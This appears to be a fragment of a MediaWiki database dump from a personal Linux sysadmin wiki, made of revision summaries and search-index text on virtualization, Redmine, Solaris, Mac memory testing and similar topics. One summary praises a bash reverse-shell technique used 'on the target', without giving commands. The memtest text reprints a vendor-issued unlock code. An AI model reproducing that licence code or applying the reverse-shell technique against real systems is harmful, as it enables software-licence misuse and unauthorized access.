system\'s hypervisor use: paracelsus@callandor:~$ virt-manager -c qemu+ssh://user@host.com:22/syst...',1,'WikiAdmin','20100915122231',0,0,678,0),(1125,328,1123,'/* virt-manager */',1,'WikiAdmin','20100915124243',0,0,912,1124),(1126,328,1124,'/* virt-manager */',1,'WikiAdmin','20100915131033',0,0,1040,1125),(1127,328,1125,'/* virt-manager */',1,'WikiAdmin','20100915131224',0,0,1210,1126),(1128,328,1126,'/* virt-manager */',1,'WikiAdmin','20100915132847',0,0,1253,1127),(1129,328,1127,'/* virt-manager */',1,'WikiAdmin','20100915133048',0,0,1412,1128),(1130,328,1128,'/* Managing KVM guests */',1,'WikiAdmin','20100915174525',0,0,1897,1129),(1131,328,1129,'/* XML Guest Config Files */',1,'WikiAdmin','20100917134521',0,0,2037,1130),(1279,328,1277,'/* KVM and Networking */',1,'WikiAdmin','20101216161208',0,0,3158,1131),(1280,328,1278,'/* virt-manager */',1,'WikiAdmin','20101216162641',0,0,5570,1279),(1317,328,1315,'/* KVM and Networking */',1,'WikiAdmin','20101221192137',0,0,5904,1280),(1136,329,1134,'New page: == Luster == == HPSS == From the official site: \'\'HPSS is software that manages petabytes of data on disk and robotic tape libraries. HPSS provides highly flexible and scalable hierarch...',1,'WikiAdmin','20100926152335',0,0,679,0),(1140,330,1138,'New page: (I discovered the below trick from [http://www.cupfighter.net/index.php/2009/06/undocumented-equallogic-cli-commands/ here] and [http://www.cupfighter.net/index.php/2010/04/undocumented-eq...',1,'WikiAdmin','20101001123842',0,0,2389,0),(1173,330,1171,'',1,'WikiAdmin','20101012151536',0,0,2513,1140),(1141,331,1139,'New page: == Acer Aspire One == Acer Aspire One (Crappy Intel SSD - SSDPAMM0008G1) dmesg: scsi 1:0:0:0: Direct-Access ATA SSDPAMM0008G1 Ver2 PQ: 0 ANSI: 5 sd 1:0:0:0: [sda] 15761088 51...',1,'WikiAdmin','20101001202433',0,0,7165,0),(1143,332,1141,'New page: wget http://download.fedora.redhat.com/pub/epel/5/i386/epel-release-5-4.noarch.rpm wget http://rpms.famillecollet.com/enterprise/remi-release-5.rpm wget http://apt.sw.be/redhat/el5/en/i...',1,'WikiAdmin','20101001202904',0,0,246,0),(1144,332,1142,'',1,'WikiAdmin','20101001203305',0,0,413,1143),(1145,333,1143,'New page: == Power off Unresponsive VM == http://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=1004340 # vmware-cmd -l # vmware-cmd stop # vm...',1,'WikiAdmin','20101004140351',0,0,449,0),(1146,334,1144,'New page: When trying to install this in Suse there are a few points where the installer hangs, or has missing dependencies. The main issues I found and their solutions follow. These may well apply ...',1,'WikiAdmin','20101004200033',0,0,3263,0),(1203,334,1201,'/* postgresplus-8.4.1-2-linux-x64.bin Installer Issues */',1,'WikiAdmin','20101102114425',0,0,3265,1146),(1147,335,1145,'New page: == Potential Degree Programs == http://gst.tennessee.edu/biophys.html http://catalog.utk.edu/preview_program.php?catoid=5&poid=1554 http://web.bio.utk.edu/bcmb/undergrad/Undergraduate_...',1,'WikiAdmin','20101006234958',0,0,594,0),(1278,335,1276,'',1,'WikiAdmin','20101214175420',0,0,673,1147),(1148,336,1146,'New page: http://publib.boulder.ibm.com/infocenter/lnxinfo/v3r0m0/topic/liaab/ic-homepage.htm',1,'WikiAdmin','20101006235205',0,0,85,0),(1149,337,1147,'New page: == Intro and Installing == I found this [http://www.how2centos.com/installing-redmine-subversion-on-centos-5-5/ install guide] to be very helpful. (A few other install links are given bel...',1,'WikiAdmin','20101007134429',0,0,2376,0),(1151,337,1149,'/* Intro and Installing */',1,'WikiAdmin','20101007135513',0,0,2450,1149),(1152,337,1150,'/* Other Issues */',1,'WikiAdmin','20101007144233',0,0,2529,1151),(1153,337,1151,'/* Other Issues */',1,'WikiAdmin','20101008115935',0,0,4552,1152),(1154,337,1152,'/* Other Issues */',1,'WikiAdmin','20101008120426',0,0,5113,1153),(1155,337,1153,'/* Intro and Installing */',1,'WikiAdmin','20101008120533',0,0,5206,1154),(1156,337,1154,'/* LDAP */',1,'WikiAdmin','20101008123703',0,0,5273,1155),(1191,337,1189,'/* Account Management */',1,'WikiAdmin','20101027184100',0,0,5463,1156),(1192,337,1190,'/* Account Management */',1,'WikiAdmin','20101027190726',0,0,5451,1191),(1193,337,1191,'/* Init scripts */',1,'WikiAdmin','20101027191142',0,0,6033,1192),(1213,337,1211,'/* Plugins */',1,'WikiAdmin','20101103175643',0,0,7230,1193),(1214,337,1212,'/* Plugins */',1,'WikiAdmin','20101103175818',0,0,7230,1213),(1215,337,1213,'/* Plugins */',1,'WikiAdmin','20101103175911',0,0,7315,1214),(1216,337,1214,'/* Intro and Installing */',1,'WikiAdmin','20101103180113',0,0,7536,1215),(1217,337,1215,'/* Starting / Stopping Redmine */',1,'WikiAdmin','20101103180453',0,0,7828,1216),(1218,337,1216,'/* Starting / Stopping */',1,'WikiAdmin','20101103180507',0,0,7248,1217),(1219,337,1217,'/* Email Config */',1,'WikiAdmin','20101103182142',0,0,7884,1218),(1221,337,1219,'/* Other Issues */',1,'WikiAdmin','20101103202149',0,0,8125,1219),(1226,337,1224,'/* Plugins */',1,'WikiAdmin','20101105142733',0,0,8154,1221),(1227,337,1225,'/* Plugins */',1,'WikiAdmin','20101105172038',0,0,8411,1226),(1228,337,1226,'/* Other Issues */',1,'WikiAdmin','20101105185744',0,0,8835,1227),(1229,337,1227,'/* Plugins */',1,'WikiAdmin','20101105185903',0,0,9034,1228),(1230,337,1228,'/* Troubleshooting */',1,'WikiAdmin','20101105190000',0,0,9200,1229),(1231,337,1229,'/* Plugins */',1,'WikiAdmin','20101105202314',0,0,10598,1230),(1232,337,1230,'/* Subversion */',1,'WikiAdmin','20101105202647',0,0,10755,1231),(1259,337,1257,'/* Email Config */',1,'WikiAdmin','20101129125040',0,0,10885,1232),(1150,338,1148,'',1,'WikiAdmin','20101007135401',0,0,0,0),(1157,339,1155,'New page: http://en.wikipedia.org/wiki/Core_wars http://www.corewar.info/emulator.htm http://sal.math.ualberta.ca/index.php \'\'\'pMars (use this)\'\'\' http://www.koth.org/pmars/ wget ftp://ftp.un...',1,'WikiAdmin','20101008141959',0,0,867,0),(1158,339,1156,'',1,'WikiAdmin','20101008142343',0,0,1216,1157),(1159,339,1157,'',1,'WikiAdmin','20101008202434',0,0,1636,1158),(1163,339,1161,'',1,'WikiAdmin','20101010222513',0,0,2646,1159),(1164,339,1162,'/* Get Core War */',1,'WikiAdmin','20101010223021',0,0,2843,1163),(1165,339,1163,'',1,'WikiAdmin','20101011115559',0,0,3068,1164),(1162,340,1160,'New page: OpenOffice is a great open source office suite. I constantly recommend it to people as a substitute to commercial products. Sometimes new users need help getting started with it though, an...',1,'WikiAdmin','20101010213921',0,0,3037,0),(1166,341,1164,'New page: == Documentation == A specific Linux version of the book \"The Art of Assembly Language Programming\" is available for download [http://homepage.mac.com/randyhyde/webster.cs.ucr.edu/www.art...',1,'WikiAdmin','20101011120920',0,0,916,0),(1167,341,1165,'/* Documentation */',1,'WikiAdmin','20101011121247',0,0,1095,1166),(1168,342,1166,'New page: == RHEL 64 Bit IA32 syscall CVE-2010-3301 == https://bugzilla.redhat.com/show_bug.cgi?id=634449 http://seclists.org/fulldisclosure/2010/Sep/268 http://web.nvd.nist.gov/view/vuln/detail...',1,'WikiAdmin','20101011222543',0,0,209,0),(1174,342,1172,'/* RHEL 64 Bit IA32 syscall CVE-2010-3301 */',1,'WikiAdmin','20101012160503',0,0,425,1168),(1178,342,1176,'',1,'WikiAdmin','20101014194904',0,0,944,1174),(1179,342,1177,'/* Am I Patched? */',1,'WikiAdmin','20101014195034',0,0,1042,1178),(1169,343,1167,'New page: Here is a good [http://www.linuxweblog.com/node/288 quick start guide]. Though not limited to Postgre, this is an interesting site on using PHPs [http://www.phpro.org/tutorials/Introduct...',1,'WikiAdmin','20101012115520',0,0,222,0),(1171,343,1169,'',1,'WikiAdmin','20101012120525',0,0,551,1169),(1170,344,1168,'New page: == Config Files == sites/default/settings.php == Postgre SQL == See [http://pgedit.com/install_drupal this site] for an example. The pg_hba.conf file in Postgres controls access, with...',1,'WikiAdmin','20101012120116',0,0,693,0),(1172,344,1170,'/* Config Files */',1,'WikiAdmin','20101012131517',0,0,781,1170),(1175,345,1173,'New page: == Plasmoid Tips == Plasmoids can be installed as packages. Further, you can run them in plasmoid-viewer to help debug the. See [http://techbase.kde.org/Development/Tutorials/Plasma this...',1,'WikiAdmin','20101012172654',0,0,349,0),(1177,346,1175,'New page: == Intro == gnutls allows you to host multiple SSL sites on one IP address. Each site can have it\'s own certificate, or you can just share one wildcard cert between them all. Who cares?...',1,'WikiAdmin','20101014194220',0,0,3127,0),(1181,347,1179,'New page: When connecting to a Subversion repository using the command line, the SVN client will ask if you want to store your password unencrypted on disk. This of course is a bad idea. This arti...',1,'WikiAdmin','20101015150140',0,0,4355,0),(1182,347,1180,'/* Password Storing Prompt */',1,'WikiAdmin','20101015152545',0,0,4507,1181),(1183,347,1181,'/* Password Storing Prompt */',1,'WikiAdmin','20101015152801',0,0,4797,1182),(1184,347,1182,'/* Storing Passwords Securely */',1,'WikiAdmin','20101015175218',0,0,5377,1183),(1186,348,1184,'New page: == spamc == Worried your emails to someone might be getting flagged as spam? Spamassassin is very widely used, so it would be nice to know what your outgoing email might score when it hi...',1,'WikiAdmin','20101020191323',0,0,921,0),(1187,348,1185,'/* spamc */',1,'WikiAdmin','20101020192012',0,0,1169,1186),(1195,349,1193,'New page: == Exchange Integration == == LDAP == \'\'\'LDAP Address Book\'\'\' You can easily add an LDAP server as an address book. See [http://cs.its.uiowa.edu/email/ldap/evolution-12.shtml this ...',1,'WikiAdmin','20101028200856',0,0,461,0),(1198,350,1196,'New page: == KDE kst & Arduino Live Measurements == This project comes from Linux Journal Issue 196 Tie an Arduino into KDE\'s kst / kst2 graphing tool to create graphs of live measurements. Very ...',1,'WikiAdmin','20101030145009',0,0,638,0),(1201,351,1199,'New page: When using partitions larger than 2TB in Linux, you must create a GID partition table using parted. The MS-DOS partition tables created with fdisk will not work on volume larger than 2TB. ...',1,'WikiAdmin','20101101181606',0,0,1329,0),(1202,351,1200,'',1,'WikiAdmin','20101101205213',0,0,1439,1201),(1225,351,1223,'',1,'WikiAdmin','20101104210513',0,0,1718,1202),(1204,352,1202,'New page: == Reference Sites == [http://www.postgresonline.com/special_feature.php?sf_name=postgresql83_psql_cheatsheet&outputformat=html Quickreference Guide] is pretty handy.',1,'WikiAdmin','20101102114732',0,0,167,0),(1205,353,1203,'New page: == Intro == Hard drive manufacturers are beginning to implement [http://en.wikipedia.org/wiki/Advanced_Format Advanced Format] 4k sector sizes in newer drives. Benefits of using 4k sector...',1,'WikiAdmin','20101102172406',0,0,5072,0),(1206,353,1204,'/* Impact on Lab Systems */',1,'WikiAdmin','20101102174406',0,0,6105,1205),(1207,353,1205,'/* Partition Alignment */',1,'WikiAdmin','20101102181832',0,0,6307,1206),(1208,353,1206,'/* Resources */',1,'WikiAdmin','20101102195437',0,0,8533,1207),(1209,353,1207,'/* Resources */',1,'WikiAdmin','20101102200151',0,0,8709,1208),(1210,353,1208,'/* Resources */',1,'WikiAdmin','20101102201909',0,0,8846,1209),(1211,353,1209,'/* Resources */',1,'WikiAdmin','20101102203121',0,0,9031,1210),(1212,353,1210,'/* Resources */',1,'WikiAdmin','20101102212047',0,0,9106,1211),(1224,353,1222,'/* Resources */',1,'WikiAdmin','20101104193409',0,0,9584,1212),(1233,354,1231,'New page: == History of HPC == Some interesting photos of pioneering HPC systems can be found [http://www.thocp.net/hardware/supercomputers.htm here] == CUDA / OpenCL == See the page on CUDA',1,'WikiAdmin','20101106223722',0,0,186,0),(1234,355,1232,'New page: == 32 Bit Compatibility Libs == Different distors require you to install 32-bit compatibility libraries in slightly different ways. \'\'\'Ubuntu\'\'\' apt-get install ia32-libs You can also...',1,'WikiAdmin','20101106232122',0,0,724,0),(1237,356,1235,'New page: gPXE is an extremely useful tool which provides a plethora of network boot options such as booting using a wireless connection, booting to an iSCSI LUN, and many more options. A good ge...',1,'WikiAdmin','20101109185439',0,0,787,0),(1238,356,1236,'',1,'WikiAdmin','20101109190126',0,0,905,1237),(1239,356,1237,'/* Command Line */',1,'WikiAdmin','20101111174746',0,0,1087,1238),(1328,356,1326,'/* Command Line */',1,'WikiAdmin','20101221212452',0,0,1155,1239),(1369,356,1367,'/* Command Line */',1,'WikiAdmin','20110113140803',0,0,1319,1328),(1240,357,1238,'New page: It seems an increasing number of projects are using Rails, and so I\'ve been learning a bit more about it. I\'ll be keeping track of notes on it as I go here. Note: One very fast way to ge...',1,'WikiAdmin','20101111195834',0,0,322,0),(1241,358,1239,'New page: == General Howtos == http://www.tldp.org/HOWTO/html_single/UPS-HOWTO/ (See the notes regarding use SeaDoo marine replacement batteries for some APC UPSes.) http://www.linux.com/archive/...',1,'WikiAdmin','20101112133228',0,0,377,0),(1260,358,1258,'',1,'WikiAdmin','20101129130312',0,0,1174,1241),(1261,358,1259,'/* APCUPSD config */',1,'WikiAdmin','20101129130934',0,0,1400,1260),(1262,358,1260,'/* APCUPSD config */',1,'WikiAdmin','20101129131030',0,0,1518,1261),(1244,359,1242,'New page: Here are notes regarding a few tools which can be used to manage data center racks and equipment, create rack diagrams, hold system notes, etc. http://racktables.org/ http://sourceforge...',1,'WikiAdmin','20101115183910',0,0,1585,0),(1246,360,1244,'New page: == Intro == IDL is a vector programming language created in the 1970s. There is a good description of the language in the [http://en.wikipedia.org/wiki/IDL_%28programming_language%29 wiki...',1,'WikiAdmin','20101117163517',0,0,6429,0),(1247,360,1245,'/* License Troubleshooting */',1,'WikiAdmin','20101117195545',0,0,7538,1246),(1248,360,1246,'/* License Manger */',1,'WikiAdmin','20101117200540',0,0,8318,1247),(1249,360,1247,'/* Errors and General Issue */',1,'WikiAdmin','20101117200911',0,0,8479,1248),(1250,360,1248,'/* Intro */',1,'WikiAdmin','20101118143739',0,0,8680,1249),(1251,360,1249,'/* Intro */',1,'WikiAdmin','20101118143840',0,0,8780,1250),(1263,360,1261,'/* License Manger */',1,'WikiAdmin','20101129150201',0,0,8977,1251),(1252,361,1250,'New page: == Intro == Both gzip and bzip can obtain significant performance increases from a parallel implementation. My initial testing with pigz vs. gzip shows a 3 to 4 fold increase in compress...',1,'WikiAdmin','20101118205404',0,0,3061,0),(1264,362,1262,'New page: There are some great tools is Linux for manipulating PDFs. Here are a few to experiment with: == pdftk == The [http://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/ PDF Toolkit] (pdftk) an...',1,'WikiAdmin','20101130132843',0,0,1010,0),(1267,363,1265,'New page: Eventually I\'m going to build a MythTV box. Possible Recorders I wonder what I\'ll use to record the video? http://www.newegg.com/Product/Product.aspx?Item=N82E16815116030 Possible ...',1,'WikiAdmin','20101207014303',0,0,193,0),(1268,364,1266,'New page: I love the classic Neverwinter Nights games series by Bioware. My wife and love to play it. Even better - it runs perfectly with native Linux binaries provided from Bioware. There are ...',1,'WikiAdmin','20101208020947',0,0,1495,0),(1269,364,1267,'/* 64-bit Issues */',1,'WikiAdmin','20101208032232',0,0,1757,1268),(1270,364,1268,'/* Other Sites */',1,'WikiAdmin','20101208032518',0,0,1860,1269),(1271,364,1269,'/* Other Sites */',1,'WikiAdmin','20101208032650',0,0,2052,1270),(1274,364,1272,'/* Basic Install */',1,'WikiAdmin','20101209192522',0,0,2220,1271),(1275,365,1273,'New page: There are so many cool things to do with netcat. Here are some guides, and I\'ll add tips and tricks for using it as I go. == Guides == http://www.adamsinfo.com/netcat-tutorial-for-linux...',1,'WikiAdmin','20101210131947',0,0,795,0),(1277,366,1275,'New page: == Overview == Home page is: http://www.mcelog.org/ and contains good general information as well as configuration, use of triggers, etc. From the Freshmeat [http://freshmeat.net/projec...',1,'WikiAdmin','20101212171707',0,0,3087,0),(1283,367,1281,'New page: == Getting Started == Download the latest test and stable versions of the kernel patch from [http://grsecurity.net/test.php here] Some very general guides: http://www.howtoforge.com/har...',1,'WikiAdmin','20101216234454',0,0,726,0),(1286,367,1284,'/* = NX/XD CPU Flags */',1,'WikiAdmin','20101217000853',0,0,730,1283),(1287,367,1285,'/* = NX and XD CPU Flags */',1,'WikiAdmin','20101217000913',0,0,727,1286),(1288,367,1286,'/* Getting Started */',1,'WikiAdmin','20101217001050',0,0,1187,1287),(1324,367,1322,'/* Testing grsec */',1,'WikiAdmin','20101221210011',0,0,1928,1288),(1284,368,1282,'New page: Phoronix [http://www.phoronix.com/scan.php?page=article&item=linux_2637_video&num=2 reported] on a 200 line kernel patch which greatly improved desktop performance. A Red Hat developer t...',1,'WikiAdmin','20101216235758',0,0,974,0),(1289,369,1287,'New page: After installing OpenSuse, these things are nice, and are one click installs: http://opensuse-community.org/Restricted_Formats http://opensuse-community.org/SubpixelHinting',1,'WikiAdmin','20101217002350',0,0,175,0),(1290,370,1288,'New page: == Tab Sites == Songsterr is pretty good. Flash based tab player, free basic access: http://www.songsterr.com/a/wa/song?trackPos=0&id=369 http://www.songsterr.com/a/wa/song?id=30225 Gu...',1,'WikiAdmin','20101217130622',0,0,434,0),(1291,370,1289,'/* Linux Music Distros */',1,'WikiAdmin','20101217155027',0,0,784,1290),(1292,370,1290,'/* Linux Music Distros */',1,'WikiAdmin','20101217155352',0,0,966,1291),(1293,370,1291,'/* Linux Music Distros */',1,'WikiAdmin','20101217155913',0,0,988,1292),(1294,370,1292,'/* Linux Music Software */',1,'WikiAdmin','20101217165610',0,0,1156,1293),(1295,370,1293,'/* Hardware Interfaces */',1,'WikiAdmin','20101217221431',0,0,1287,1294),(1296,370,1294,'/* Linux Music Software */',1,'WikiAdmin','20101217221723',0,0,1633,1295),(1298,370,1296,'/* Linux Music Software */',1,'WikiAdmin','20101219152626',0,0,1791,1296),(1341,370,1339,'/* Tab Sites */',1,'WikiAdmin','20110102162749',0,0,2032,1298),(1351,370,1349,'/* Midi */',1,'WikiAdmin','20110108190319',0,0,2522,1341),(1352,370,1350,'/* Books */',1,'WikiAdmin','20110108190559',0,0,2614,1351),(1353,370,1351,'/* Linux Music Software */',1,'WikiAdmin','20110108190639',0,0,2675,1352),(1354,370,1352,'/* Linux Music Software */',1,'WikiAdmin','20110108190830',0,0,2725,1353),(1355,370,1353,'/* Lesson Sites */',1,'WikiAdmin','20110109163607',0,0,2766,1354),(1356,370,1354,'/* Scales */',1,'WikiAdmin','20110109163707',0,0,2848,1355),(1357,370,1355,'/* Scales & Chords */',1,'WikiAdmin','20110110144151',0,0,2930,1356),(1313,371,1311,'New page: \'\'\'Getting Started\'\'\' LSI offers the MegaRAID CLI tool, which is a bit cryptic to use. Here are some pointers to get started with it. Download it from the LSI website - look for a recent...',1,'WikiAdmin','20101220200431',0,0,1166,0),(1314,371,1312,'',1,'WikiAdmin','20101220200741',0,0,2043,1313),(1331,371,1329,'',1,'WikiAdmin','20101227194426',0,0,2716,1314),(1334,371,1332,'',1,'WikiAdmin','20101229162439',0,0,2933,1331),(1335,371,1333,'',1,'WikiAdmin','20101229162702',0,0,3009,1334),(1318,372,1316,'New page: Sure - RSS is great. But I think I\'ll list these here too: http://danielmiessler.com/study/tcpdump/ http://hyperboleandahalf.blogspot.com/ http://xorl.wordpress.com/',1,'WikiAdmin','20101221201447',0,0,169,0),(1319,373,1317,'New page: \'\'\'Contact Management\'\'\' SugarCRM Use LDAP for your personal address book. Hey, why not? \'\'\'Note taking stuff:\'\'\' http://www.linux.com/learn/tutorials/322137-finding-evernote-replacem...',1,'WikiAdmin','20101221202339',0,0,202,0),(1375,373,1373,'',1,'WikiAdmin','20110117155334',0,0,581,1319),(1322,374,1320,'New page: I love phpchain - it a nifty little web based method to manager your passwords, stores them in an encrypted database, easy to use interface, etc. Latest version is here: http://sourcefor...',1,'WikiAdmin','20101221203505',0,0,266,0),(1323,375,1321,'New page: http://www.gnucitizen.org/blog/reverse-shell-with-bash/ A wonderful implementation of netcat with a simple bash script on the target that created a network node in /proc to read and write...',1,'WikiAdmin','20101221205314',0,0,1228,0),(1326,376,1324,'New page: How do we manage all this stuff!? http://racktables.org Well known application, has various plugins available. http://racksmith.net/ Fancy interface, and a neat campus mapping utili...',1,'WikiAdmin','20101221211847',0,0,260,0),(1327,377,1325,'New page: Binary search trees are fun! http://en.literateprograms.org/Binary_search_tree_%28C%29 Also see red black tree: http://en.literateprograms.org/Binary_search_tree_%28C%29 http://stack...',1,'WikiAdmin','20101221212107',0,0,335,0),(1329,378,1327,'New page: Sandia National Labs provides a very interesting DNSSEC [http://dnsviz.net/ visualization tool] Some good general info on implementing dnssec is [http://www.crypt.gen.nz/papers/dns_secu...',1,'WikiAdmin','20101222183704',0,0,438,0),(1330,378,1328,'',1,'WikiAdmin','20101222183805',0,0,576,1329),(1332,379,1330,'New page: == Plugins == http://developer.pidgin.im/wiki/ThirdPartyPlugins http://code.google.com/p/pidgin-knotifications/ http://lifehacker.com/356291/ten-must+have-plug+ins-to-power-up-pidgin ...',1,'WikiAdmin','20101229153756',0,0,530,0),(1333,380,1331,'New page: I keep meaning to play around with this at some point. Each time I try the packages though they inevitably seem broken. Might have to actually figure it out some day . . . http://wiki.a...',1,'WikiAdmin','20101229154242',0,0,452,0),(1336,381,1334,'New page: Just some decent sites on SSH port forwarding, local and remote: http://wiki.freaks-unidos.net/ssh-port-forwarding http://www.debianadmin.com/howto-use-ssh-local-and-remote-port-forwardi...',1,'WikiAdmin','20101230184054',0,0,351,0),(1337,382,1335,'New page: == Instruments == \'\'\'Guitars\'\'\' Logitech PS3 / PS2 Wireless Guitar Controller ASIN: B001NTBWK4 / Product Number: 939-000128 / Logitech Number: CES10040 http://www.amazon.com/Logitech-...',1,'WikiAdmin','20101231172206',0,0,760,0),(1338,382,1336,'/* Instruments */',1,'WikiAdmin','20101231172524',0,0,933,1337),(1339,382,1337,'',1,'WikiAdmin','20101231172827',0,0,1056,1338),(1340,382,1338,'',1,'WikiAdmin','20101231173726',0,0,1172,1339),(1345,383,1343,'New page: == Getting Mirror == Although it is a bit old, I\'ve found this tool to be pretty handy to use to mirror the contents of an FTP site someplace. It allows for an automated mirror to do done...',1,'WikiAdmin','20110104134823',0,0,3120,0),(1348,383,1346,'/* Documentation */',1,'WikiAdmin','20110104180356',0,0,3258,1345),(1349,384,1347,'New page: bbcp is a parallel data transfer utility from Stanford Linear Accelerator Center (SLAC) which supports some interesting options. It can be used to transfer large files, and it can break th...',1,'WikiAdmin','20110106212200',0,0,1331,0),(1350,384,1348,'/* Recursive Directories */',1,'WikiAdmin','20110107142525',0,0,1095,1349),(1359,384,1357,'',1,'WikiAdmin','20110111131455',0,0,2179,1350),(1367,384,1365,'',1,'WikiAdmin','20110112185804',0,0,2362,1359),(1358,385,1356,'New page: == Tunnel One App == Run a single app tunneled through rdesktop rather than an entire desktop environment with seamlessrdp: http://www.cendio.com/seamlessrdp/ http://www.linux.com/arch...',1,'WikiAdmin','20110110150352',0,0,376,0),(1360,386,1358,'New page: Cetus is a a Source-to-Source Compiler Infrastructure for C Programs. This NSF sponsored project is being developed by Purdue University. The official home page is [http://cetus.ecn.purdu...',1,'WikiAdmin','20110111141408',0,0,1191,0),(1363,387,1361,'New page: Send the output of %pre and $post scripts to the graphical display: http://www.spinics.net/linux/fedora/kickstart/msg07687.html %post --nochroot --interpreter /bin/sh rxvt -fn fixed -...',1,'WikiAdmin','20110111181949',0,0,229,0),(1364,387,1362,'',1,'WikiAdmin','20110111182005',0,0,228,1363),(1366,388,1364,'New page: \'\'\'DNS sec visualizer\'\'\' http://dnsviz.net/ Great tool developed by Sandia National Lab which graphically shows the DNS sec chain from the root server up. \'\'\'Firefox Plugins\'\'\' DNSS...',1,'WikiAdmin','20110112183730',0,0,255,0),(1370,389,1368,'New page: Download the Cirtix client for the [http://www.citrix.com/English/ss/downloads/index.asp Citrix site]. (Look under: XenApp --> Presentation Server 4.0 for Unix --> Linux) Download and i...',1,'WikiAdmin','20110113181534',0,0,244,0),(1371,390,1369,'New page: \'\'\'DL580 G7\'\'\' DL580 G7 Quick specs [http://h18004.www1.hp.com/products/quickspecs/DS_00197/DS_00197.pdf here] Power specs [http://h18000.www1.hp.com/products/quickspecs/13669_na/13669_...',1,'WikiAdmin','20110113214730',0,0,700,0),(1372,390,1370,'',1,'WikiAdmin','20110113215835',0,0,1023,1371),(1378,391,1376,'New page: [http://www.modsecurity.org/ Mod_security] for Apache is a great tool. There are a few things that might creep up with using it however. \'\'\'Cpanel Per Domain Control\'\'\' http://linuxserv...',1,'WikiAdmin','20110122030843',0,0,629,0),(1380,391,1378,'',1,'WikiAdmin','20110122195529',0,0,934,1378),(1381,391,1379,'',1,'WikiAdmin','20110122195928',0,0,1057,1380),(1382,391,1380,'',1,'WikiAdmin','20110122200534',0,0,1134,1381),(1379,392,1377,'Created page with \"(Also see [[Webserver Benchmark Tools]]) Nessus A defacto standard vulnerability scanning tool. [http://cirt.net/nikto2 Nikto] A perl script which analyzes a webserver for co...\"',1,'WikiAdmin','20110122160035',0,0,198,0);
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INSERT INTO `mw_searchindex` VALUES (2,'kde solaris install',' '),(3,'solaris install x86',' solarislogo center frame installing solaris on x86 platform installing solaris on x86 platform installing solaris on x86 platform to configure installed languages have the install cd in the drive #localeadm u8e28093h #give help #localeadm u8e28093a nam u8e28093d cdrom cdrom0 adds package nam north america from directory specified cdrom dt config info etc dt config is a secondary location kde 3 4 3 notes install packages in order per directions run the dt login script build the language localization and ensure the four files are in the dt login directory ensure en_us-utf 8 language is installed or kde will not show up in dt login screen i did not have to run the runconfigure language localization scripts once the language files were in the directory and the system language was installed kde showed up already system configuration #sys-unconfig allows you to reconfigure the x and network settings iprb0 is default nic path echo path for sh bash path path dir to script;export path may need to add path to directory were you are trying to execute a script in ownerships to change the mode on a file or directory i prefer the octal 0-7 format r -- read has value of 4 w -- write has value of 2 x -- execute has value of 1 rwxrwxrwx chmod 777 filename rw-rw-rw- chmod 666 filename r--r--r-- chmod 444 filename -w--w--w- chmod 020 filename --x--x--x chmod 001 filename --------- chmod 000 filename to make it recursive use the -r option e g chmod -r 777 directoryname networking interface iprb0 ifconfig -l or -a to show all interfaces java java_home usr java; export java_home resources solariscentral forum network config network config network config note the default shell in the cde is sh - this will cause keyboard mapping issues with arrow keys esc key etc in vi and whatnot change shell to bash with bin bash instead adding the kde environment adding the kde environment adding the kde environment after solaris is installed with the default java desktop install kde as follows use the install cd select window managers category and select as follows kde_solaris_install frame center figure 3 solaris web start installer component selection window integrating kde as a selectable desktop session integrating kde as a selectable desktop session integrating kde as a selectable desktop session after you have installed all the kde 3 x files on your system if you want kde 3 x integrated into your login screen with other desktop systems like cde you also need to execute this script opt sfw kde dtlogin install-dtlogin also you need to add opt sfw kde bin to your path environment variable and opt sfw kde lib to your ld_library_path environment variable for example if you are using c shell as your login shell you can add the following line to your cshrc file to add opt sfw kde bin to your path environment variable set path path opt sfw kde bin add the following line to your login file to add opt sfw kde lib to your ld_library_path environment variable setenv ld_library_path ld_library_path opt sfw kde lib now you can reboot your system and wait for the login screen to show up upgrading kde to 3 5 5 upgrading kde to 3 5 5 upgrading kde to 3 5 5 '),(4,'windows command line tricks',' magick tricks magick tricks magick tricks cmd prompt w admin rights runas user localmachinename administrator cmd manually register a dll regsvr32 nameoffile extension '),(5,'solarislogo',' '),(6,'mac os x - memtest',' background originally written for verizon field services technicians macs often have memory related issues which can be somewhat challenging to diagnose the apple service diagnostic software as well as the apple hardware test do not have robust memory checking components as a result these memory tests are not completely reliable and can give a false pass without a hardware dimm sodimm tester we have to rely solely on software utilities a variety of options and running multiple tests is often helpful if non-apple supplied memory is used in a system appleu8e28099s standard response is that the 3rd party memory is at fault this will be there stance whenever non-apple memory is used this of course does not mean the memory is bad but rather that they refuse to support it this again is a case where having multiple methods of testing is favorable the asd and aht tests can be run from their respective diagnostic cds in addition a freeware utility can be run while logged into a mac in single user mode that will allow testing of the full system memory the homepage for this utility can be found here installing installing installing the utility itself is attached here in zip format when it is extracted the following instructions apply simply double-click the memtest disk image and when prompted for the unlock code enter the following character sequence r8j43s03t5vh please note that your download key is case sensitive and must be entered exactly as shown please print this email for your records thanks for supporting the memtestosx project tony scaminaci installation excerpted from readme memtest uses the standard os x package installer simply double-click on the package file and install it just as you would any other application the installer will create the memtest folder in your boot volume volume\'s applications folder due to some issues with apple apple\'s installer program i strongly recommend choosing the default install location current macos x boot volume note that there are no other components installed - the memtest folder is the sole product of the installer so you can always move the memtest folder elsewhere after installation if desired instructions instructions instructions full instructions can be found in the installation directory default is boot volume applications however the following is excerpted here as it is highly relevant to the use of this utility running memtest tony scaminaci memtest is best run in os x x\'s single-user mode in this mode nearly all of the installed ram can be tested whereas under the full os a considerable portion of memory is tied up by os x processes and the quartz window manager this is especially true in macos releases later than 10 3 5 running memtest in single-user mode maximizes the effectiveness of the memory test to boot into single-user mode hold down the command and s keys during startup you will be automatically logged in as the user root to a minimal command line environment assuming that the memtest folder resides in your applications folder a typical invocation of memtest would be the following applications memtest memtest all 3 -l this will run three passes of the test suite testing all available free memory the -l switch instructs memtest to save the transcript of the run to a file named memtest log the log file is written to the directory from which you invoked memtest - this is known as the current working directory normally when a terminal window is launched the working directory is set to users login_name where login_name is the account name you logged in with note that when running in single-user mode you are automatically logged in as the root user so the default current working directory is private var root alternatively you could cd into the memtest folder and run the program using the command memtest all 3 -l i recommend running at least 3 to 5 passes to obtain the best test coverage of marginal or intermittently failing dimms to test less than all of the available free memory replace the all option with the number of megabytes to test e g 10 100 512 etc the number entered is assumed to be in mb for example the command applications memtest memtest 1150 3 -l will test 1150 mb of the installed memory assuming this much is available for testing memtest can also be run from a terminal window in a fully-booted os x environment multiuser mode however considerably less memory will be free for testing making the results less reliable double clicking the memtest icon in the finder will launch 